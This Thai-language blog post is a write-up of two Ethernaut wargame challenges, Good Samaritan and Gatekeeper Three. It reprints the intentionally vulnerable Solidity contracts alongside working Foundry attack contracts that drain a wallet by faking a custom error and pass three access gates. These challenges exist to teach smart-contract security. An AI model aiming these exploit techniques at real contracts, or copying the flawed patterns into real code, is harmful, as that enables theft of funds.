Ethernaut writeup (Good samaritian & Gatekeeper III)

Nattawat Songsom
7 min readApr 2, 2023

--

มาทำ Ethernaut part สุดท้ายกันครับ

Good samaritian

โจทย์คือ จาก code

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "@openzeppelin-8/contracts/utils/Address.sol";

contract GoodSamaritian {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

จง drain coin ออกจาก contract Wallet ให้หมด

โอเคมาเริ่มกัน

ตอนนี้ wallet มี balance คือ 10**6 ตาม code

    constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}

และเราปกติแล้วสามารถถอนออกจาก wallet ได้ทีละ 10 ตาม code

    function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
    function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

แต่จาก code ด้านบน ถ้ามีการ throw error NotEnoughBalance ออกมา

ซึ่ง function donate10 จะ throw error NotEnoughBalance เมื่อมี balance < 10 เท่านั้น ทำให้ต้องใช้ gas เยอะมากๆ และอาจจะเยอะเกินกว่าที่ 1 tx จะรับไหวด้วย เพราะถอนได้รอบละ 10

แล้วเราจะทำยังไงดี ?

จาก donate10 มีการเรียก coin.transfer ไปดู code ส่วนนี้กัน

    function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
interface INotifyable {
function notify(uint256 amount) external;
}

เราจะพบว่า coin มีการ external call ไปยัง address contract นอก

ซึ่งเมื่อไล่ดูจะพบว่า coin.transfer ถูกเรียกด้วย dest_ = msg.sender ของ requestDonation

ดังนั้นเราสามารถแอบ throw error NotEnoughBalance ใน proxy contract ของเราที่ทำการเรียก requestDonation ซึ่งเมื่อมี error นี้เกิดขึ้น wallet ก็จะโอน coin ทั้งหมดมาให้เราตาม code

    function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
    function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

เอาละ มาลองจำลอง flow กัน

requestDonation() => donate10(msg.sender) => coin.transfer(dest_, 10) => INotifyable(dest_).notify(10) => throw error NotEnoughBalance => wallet.transferRemainder(msg.sender) => coin.transfer(dest_, coin.balances(address(this))) => INotifyable(dest_).notify(___) => throw error NotEnoughBalance

เราจะพบว่า ถ้าเราใส่ throw error NotEnoughBalance ใน function notify ของ proxy contract เราไปตรงๆ จะทำให้การเรียก transferRemainder เจอ error นี้ไปด้วย จนสุดท้ายเราไม่ได้ coin เลย

ดังนั้น เราต้องกำหนดเงื่อนไข ให้ throw error NotEnoughBalance เฉพาะเมื่อ amount เป็น 10 เท่านั้น จะได้ code ดังนี้

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "forge-std/Test.sol";
import "../src/GoodSamaritian.sol";

contract NotifyHandler {
error NotEnoughBalance();

function attack() public {
GoodSamaritian(0x3363E8F5a5832F8051650462089f815aB12A7244).requestDonation();
}

function notify(uint256 amount_) public {
if (amount_ == 10) {
revert NotEnoughBalance();
}
}
}

contract GoodSamaritanTest is Test {
GoodSamaritian goodSamaritian = GoodSamaritian(0x3363E8F5a5832F8051650462089f815aB12A7244);
Wallet wallet = Wallet(0x6aeD6C9f9d03b2A3163dCc2f2ca458edbCdf6a61);
Coin coin = Coin(0xB8FAA102E0EFdB44cD1AB2656F85c68f780Fd2F5);

function testAttack() public {
console.log(coin.balances(address(wallet)), "coin.balances(address(wallet))");
NotifyHandler notifyHandler = new NotifyHandler();
notifyHandler.attack();
console.log(coin.balances(address(wallet)), "coin.balances(address(wallet))");
}
}

fun fact

ลอง log address contract coin ออกมาแล้ว error แหะ

ทั้งๆที่ coin เป็น public

เลยต้องไปหา address coin จาก explorer แทน

แต่พอลองดูแล้ว เหมือนจะเป็นเพราะว่าไม่สามารถ log contract ได้มากกว่า ถ้าเอา address มาครอบก็หายเลย

Gatekeeper Three

จาก code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor(address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allow_enterance = false;
SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allow_enterance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree returns (bool entered) {
entrant = tx.origin;
return true;
}

receive() external payable {}
}

จงกลายเป็น entrant

โอเค มาดู code ทีละส่วนกัน

การกลายเป็น entrant จะทำผ่านการ enter() ตาม code

    function enter() public gateOne gateTwo gateThree returns (bool entered) {
entrant = tx.origin;
return true;
}

โดยมี modifier ดักไว้ 3 อัน คือ gateOne gateTwo gateThree

มาดูทีละอันกัน

gateOne จะผ่านได้เมื่อ msg.sender เป็น owner และ owner != tx.origin

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

ก่อนอื่น เราสามารถเปลี่ยนค่า owner ได้รึเปล่า? เราจะพบว่า contructor มีการเขียนผิด ทำให้เราเรียกซ้ำเพื่อเป็น owner เองได้

    function construct0r() public {
owner = msg.sender;
}

และในส่วน tx.origin != owner (ตอนนี้เราเป็น owner แล้ว ดังนั้น tx.origin != msg.sender) ในส่วนนี้สามารถตั้ง proxyContract เป็น owner เพื่อให้ผ่านเงื่อนไขได้

จะได้ code ดังนี้

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/GatekeeperThree.sol";

contract ProxyContract {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));

function attack() public {
gatekeeperThree.construct0r();
}
}

contract GatekeeperThreeTest is Test {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));

function testAttack() public {
ProxyContract proxyContract = new ProxyContract();
proxyContract.attack();
}
}

โอเค มาดู gateTwo กันต่อ

มีการเช็คเงื่อนไขให้ allow_enterance = true

modifier gateTwo() {
require(allow_enterance == true);
_;
}

โอเค เราจะพบว่าการเปลี่ยนให้ allow_enterance = true ทำได้ผ่าน getAllowance โดยต้องส่ง password ที่ถูกต้องไป

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allow_enterance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

แต่การเช็ค password ดันต้องเป็น block.timestamp ตอนที่ deploy เนี่ยสิ แล้วดันเป็น private อีก

contract SimpleTrick {
uint private password = block.timestamp;
...
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

แต่ใน checkPassword ดันมีการตั้ง password ใหม่อีกรอบซะงั้น ดังนั้นถ้าเราเรียก checkPassword 2 รอบใน tx เดียวกัน ในรอบที่สอง password เราก็จะถูก (เพราะ password ที่ถูกตั้งไปใหม่คือ block.timestamp ของ tx นี้)

จะได้ code ดังนี้

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/GatekeeperThree.sol";

contract ProxyContract {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));

function attack() public {
gatekeeperThree.construct0r();
gatekeeperThree.createTrick();
SimpleTrick trick = gatekeeperThree.trick();
trick.checkPassword(block.timestamp);
gatekeeperThree.getAllowance(block.timestamp);
}

receive() external payable {
revert("ProxyContract: receive");
}

fallback() external payable {
revert("ProxyContract: fallback");
}
}

contract GatekeeperThreeTest is Test {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));

function testAttack() public {
ProxyContract proxyContract = new ProxyContract();
proxyContract.attack();
}
}

fun fact

จริงๆอีกวิธีในการผ่าน gateTwo คือการอ่านค่า password ซึ่งเป็น private state จาก offchain

โอเคไป gateThree กันต่อ

เราจะพบว่ามีการเช็ค 2 อย่างคือ balance ของ gatekeeperThree เองต้องมากกว่า 0.001 และ การส่ง ETH จาก gatekeeperThree ไปยัง owner ต้อง fail

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

โอเค การทำให้ balance ของ gatekeeperThree > 0.001 ETH ทำได้โดยการส่ง ETH ไปยัง gatekeeperThree

payable(address(gatekeeperThree)).transfer(0.0011 ether);

และการทำให้ การส่ง ETH จาก gatekeeperThree ไปยัง owner ต้อง fail ทำได้โดยการ revert การส่ง ETH มายัง proxyContract ของเรา

    receive() external payable {
revert("ProxyContract: receive");
}

fallback() external payable {
revert("ProxyContract: fallback");
}

จะได้ code การผ่านทั้ง 3 gate ดังนี้

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/GatekeeperThree.sol";

contract ProxyContract {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));

function attack() public {
gatekeeperThree.construct0r();
gatekeeperThree.createTrick();
SimpleTrick trick = gatekeeperThree.trick();
trick.checkPassword(block.timestamp);
gatekeeperThree.getAllowance(block.timestamp);
console.log(gatekeeperThree.entrant(), "gatekeeperThree.entrant()");
gatekeeperThree.enter();
console.log(gatekeeperThree.entrant(), "gatekeeperThree.entrant()");
}

receive() external payable {
revert("ProxyContract: receive");
}

fallback() external payable {
revert("ProxyContract: fallback");
}
}

contract GatekeeperThreeTest is Test {
GatekeeperThree gatekeeperThree = GatekeeperThree(payable(0xe4A5EBD255eE823d103A4639699bf272DBeAA765));
address player = address(1);

function testAttack() public {
deal(player, 1 ether);
startHoax(player);
payable(address(gatekeeperThree)).transfer(0.0011 ether);
ProxyContract proxyContract = new ProxyContract();
proxyContract.attack();
}
}

โอเค serie Ethernaut จบเท่านี้ครับ :)

--

--

No responses yet